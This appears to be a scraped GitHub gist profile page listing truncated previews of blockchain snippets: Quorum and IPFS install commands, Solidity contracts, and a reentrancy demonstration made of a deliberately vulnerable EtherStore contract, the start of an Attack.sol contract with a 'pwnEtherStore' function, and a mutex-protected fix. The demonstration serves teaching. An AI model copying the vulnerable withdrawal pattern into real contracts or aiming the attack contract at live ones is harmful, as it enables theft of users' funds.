Skip to content

Instantly share code, notes, and snippets.

View vasa-develop's full-sized avatar
💭

vasa vasa-develop

💭
View GitHub Profile
//if something breaks, go to this file: https://github.com/jpmorganchase/quorum-examples/blob/master/vagrant/bootstrap.sh
# install build deps
sudo add-apt-repository ppa:ethereum/ethereum
sudo apt-get update
sudo apt install make
sudo apt install g++ -y
sudo apt-get install -y build-essential unzip libdb-dev libleveldb-dev libsodium-dev zlib1g-dev libtinfo-dev solc sysvbanner wrk software-properties-common default-jdk maven
//installing go
pragma solidity ^0.4.19;
contract Account{
/* struct account{
string pubKey;
string priKey;
} */
struct account_user{
string pubKey;
var a = eth.accounts[0]
web3.eth.defaultAccount = a;
// abi and bytecode generated from simplestorage.sol:
// > solcjs --bin --abi simplestorage.sol
var abi = <ABI>;
var Contract = web3.eth.contract(abi);
//install ipfs-cluster
cd $HOME
wget https://dist.ipfs.io/go-ipfs/v0.4.14-rc1/go-ipfs_v0.4.14-rc1_linux-amd64.tar.gz
tar xf go-ipfs_v0.4.14-rc1_linux-amd64.tar.gz
sudo mv go-ipfs/ipfs /usr/local/bin/ipfs
ipfs init
//installing go
cd $HOME/ && wget https://storage.googleapis.com/golang/go1.10.1.linux-amd64.tar.gz
pragma solidity ^0.4.19;
import "./Seriality.sol";
contract Serialize is Seriality{
string [] arr = ["string0", "string1", "string2", "string3", "string4"];
function getBytes(uint startindex, uint endindex) public view returns(bytes serialized){
require(endindex >= startindex);
var hexStringFromSolidity = "<PASTE THE SOLIDTY BYTE OUTPUT HERE>"
var convert = function hexToStr(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
var v = parseInt(hex.substr(i, 2), 16);
if (v) str += String.fromCharCode(v);
}
params = [];
{
"config": {
"chainId": 1994,
"homesteadBlock": 0,
"eip155Block": 0,
"eip158Block": 0,
"byzantiumBlock": 0
},
"difficulty": "0x0",
"gasLimit": "0x8000000",
@vasa-develop
vasa-develop / EtherStore.sol
Created July 21, 2018 18:18
DO NOT USE THIS CODE. THIS CODE IS USED TO DEMONSTRATE A VULNERABILITY IN A SOLIDITY CODE.
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
@vasa-develop
vasa-develop / Attack.sol
Created July 21, 2018 18:20
DO NOT USE THIS CODE. THIS CODE IS USED TO DEMONSTRATE A VULNERABILITY IN A SOLIDITY CODE.
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
@vasa-develop
vasa-develop / EtherStore.sol
Created July 21, 2018 18:21
THIS CODE IS SAFE.
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}